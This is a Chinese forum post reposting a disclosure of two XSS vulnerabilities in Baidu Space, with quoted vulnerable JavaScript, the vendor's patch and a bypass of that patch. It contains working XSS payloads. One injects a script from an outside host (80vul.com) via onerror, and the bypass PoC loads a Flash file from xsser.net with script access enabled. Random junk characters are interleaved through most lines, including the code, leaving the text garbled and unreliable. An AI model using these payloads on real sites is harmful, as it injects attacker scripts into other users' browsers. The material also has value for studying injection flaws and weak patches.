找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2066|回复: 0
打印 上一主题 下一主题

hi.baidu Xss 漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-8-24 11:51:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.  # D; L% P% W- y- w7 n" w7 A% H9 p# a

( J% y' M! `% O9 ^" I  g1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  
2 Y1 K/ g3 X* T: X2.在http://hi.baidu.com/ui/scripts/pet/pet.js中  
; y% ~: f- S( ~  c: i$ K( {/ `% r  j+ h- C; ?$ p8 V
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  
7 l8 _% F! }& m. [其中BdUtil.insertWBR为  ! V4 g8 a& M9 L
function(text, step) {    S+ y: H  T# w$ b% L
    var textarea = textAreaCache || getContainer();  & k3 t) ?( k9 Z) U# S
    if (!textarea) {  ; l7 A3 ^% {0 b) X& T- h
        return text;  : p; D) p( L' ~+ W
    }  
+ _  i7 G) _4 n9 g! h1 H    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  8 _4 S% w' Y0 i1 s
    var string = textarea.value;  
2 J) t2 s3 w3 N+ N. w' U    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");  
: C$ N( s! p4 y7 U+ ]: V3 G: V% U    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  & ?% Y" N$ a* O$ x
    return result;  : e$ ~9 u$ j$ Y7 D/ N3 f
}  6 B: [3 x% c" t8 s( w
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  
2 k8 v4 a% ?7 u/ M4 M测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>  0 H6 Z7 {( G' q7 r+ Z
   
! f8 i- v# E4 a( p* v/ ]0 W) z3 E二:creatbgmusic() Dom-Xss Bug  ! `$ B/ q& b) }4 g  q
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞  - O; i3 ]9 _8 a" M8 w
, h3 \" W1 Y- D# V/ h) K) P
http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:  
& g+ ]: Z' k- X( }- ]4 Q/ u" D: m6 X3 z/ f% j/ C4 m$ X2 y: F
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  4 }! s% q$ N) z- U" m. @% r
    //传入的murl赋值到bgmusic1和bgmusic2中  . b! Q2 o5 c# @0 J; \, b
    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1  9 Y+ s0 ~8 ]  I( T; e+ m
    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";    b( t% ^5 Z/ ?8 z! {7 M
    if (musicnum <= 1) {  5 U! W- M% Y4 i0 }; s# d
        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";  " t% Y, {( ^8 A$ a! L: p
    }  
& b& p% n; `& E4 n, G3 A    bgmusic1 += "</OBJECT>";  0 z/ T" j* z4 |# ]! ?7 h
    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  
5 l1 a' G! \6 D6 x1 b  q+ {0 A    if (musicnum <= 1) {  ' z; V5 Y0 u+ ?7 Z, U  T- d: I3 U( E
        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";  
# l+ }/ W* d4 N( r2 q$ ]    }  
+ c2 N& [' o9 j# {    bgmusic2 += "> </EMBED>";  ! ?  ^9 l5 N* S+ i  C, ^( ~/ k/ F
    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";  ( ]- v! @6 k8 r, G
    var bgmus = detectWMP();  ' C. F- j) c) u5 o6 g
    if (functype == "FckMusicHelper") {  
! v7 I% \- A& o        if (bgmus.installed) {  " h) f& Y/ n* w% h& }
            if (bgmus.type == "IE") {  
/ L- X, L% a4 d! I: {$ s* U                return bgmusic1;  " O; Y1 R: B( U! G6 `
            } else if (bgmus.type == "NS") {  
( L- f: y- ]3 ~- D  x2 C5 o) [                return bgmusic2;  
5 Q0 M# {" t6 B6 c            }  
' {! {, c2 \+ N4 K        } else {  ( k0 g6 i0 D6 }2 E9 m- Q: T" {
            return bgmusic3;  
. k3 P- U1 {8 w% O- Y2 v9 `        }  9 N8 t- n! P$ J
    } else {  
+ `. N/ P5 {# F+ W        if (bgmus.installed) {  
% }: u, d- X9 R* A4 u, P- U( s8 x: U            //document.write 直接输出bgmusic变量 导致xss  
9 n3 c4 M, N6 r! C            if (bgmus.type == "IE") {  ( d* G8 b' z  B& d% A# @
                document.write(bgmusic1);  9 ?: k% d" d5 d3 z, m3 L. n5 G+ `8 x1 G
            } else if (bgmus.type == "NS") {  
: D. e5 t$ @4 J0 R3 R                document.write(bgmusic2);  " h8 ]% ]) k/ h+ O6 r$ b
            }  ( h) a0 T% e/ Q( m0 C0 G  [$ L
        } else {  : b0 e8 s) m4 R( \5 F
            document.write(bgmusic3);  
* D" e' Y1 P  t; u1 }        }  
( q, p( Y; t2 u4 t! q% S        return "";  4 p, u0 u: A; I, ?2 D
    }  " [) R$ P6 j" x' P
}  7 Q( M) K3 b  q- i: Y) A) H
$ K( `9 U) w+ M- j
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:  
% j( z0 [6 X9 z* g# g8 s: j
0 q1 D* P# `( c: d6 C: E( ?/ [9 j( R9 Q# sfunction initBlogTextForFCK(){  
: K: z( b# b! H; E; g3 K/ M) t//fck init music    {2 c3 z6 [, i2 z, N% m/ O
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}  
, K' b* a2 l2 [% z/ s* F* [  wvar imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组  
7 X+ q( f/ D5 E* b& Y( h# {0 Rvar isAutoPlay=true;  
8 v# o# W; F  P: n+ Ofor(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  ' [% B' {' J6 f7 V
  var img=imgBox;  
9 P2 o0 z& G5 W+ J  B  if(img.getAttribute(’rel’)){        
, }1 t0 l+ D( g2 T0 _   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  1 u7 q: Y( ]6 l* s/ W% N
   var musicDiv = document.createElement("SPAN");  
  S7 L9 n/ m- b   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  
  H1 q6 U8 O+ j% n& @" l     
7 Q7 C) J# W( V. X0 {! D7 a      ..........................  ! o1 [! m* v+ E# V- H
     
3 f: u3 l6 J8 e  ?   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   3 O) j: b! r" t* @2 j
   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  5 p. a5 M" w4 |( D1 h
   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  
  C! h$ J* b. w4 v, L7 L3 M   musicDiv.innerHTML=shtml;  
1 S# r: F' K2 l' Z   i--;n--;  $ [3 z6 n" B9 s1 M
  }  
0 w( o+ i# M' {% g}  + l0 @. h% C, O* M% n

- }! h5 W* R4 _. ]" C从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.  
( k3 v' B( T. w, m& k" E' _   # ?" i! |4 n5 w. s* d9 Y
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>  
3 K  }8 A+ S# Z, f2 O$ H2 n0 X# [! Q
等待官方补丁  
4 V, N! B1 o) p. G- Y- e- k5 Z, I* Y  o9 ~4 {; ?
update 2010年5月13日   + P$ d) ~3 o. B4 X1 p! U+ I9 L

  h4 }; U1 |  r3 v/ E6 I, s官方补丁:  ' C* s; J7 V1 H( n- j: r0 l6 U

3 D* ?( n1 e. A: S& C8 S* Bvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  . D3 Y6 U5 [" X2 g0 S
改为:  ! U3 ~8 s) Z& o7 t- j# d! ~& T
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  ( w7 Y: M- K( q3 I
7 B! j& x% _* D! C- Z- c2 X
update 2010年5月13日 21:50:37  
! E4 x9 w* b9 D' J8 r6 _1 \+ l5 i4 _$ \
补丁存在漏洞 没有过滤" 可以继续跨:  
. K0 z8 g& H6 A0 u1 a% U4 Y$ f. [2 f( u3 O* G2 d2 N
NEW POC:  . c% @. l- i8 F7 X& Y

) l: U7 J# [) U7 J( O<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" * s9 Y9 b4 o7 U$ P& Q2 _

- k3 J+ i" C! H! {& iallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
" B/ F4 m7 {. @, U + N/ F7 ~" e- q4 P
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表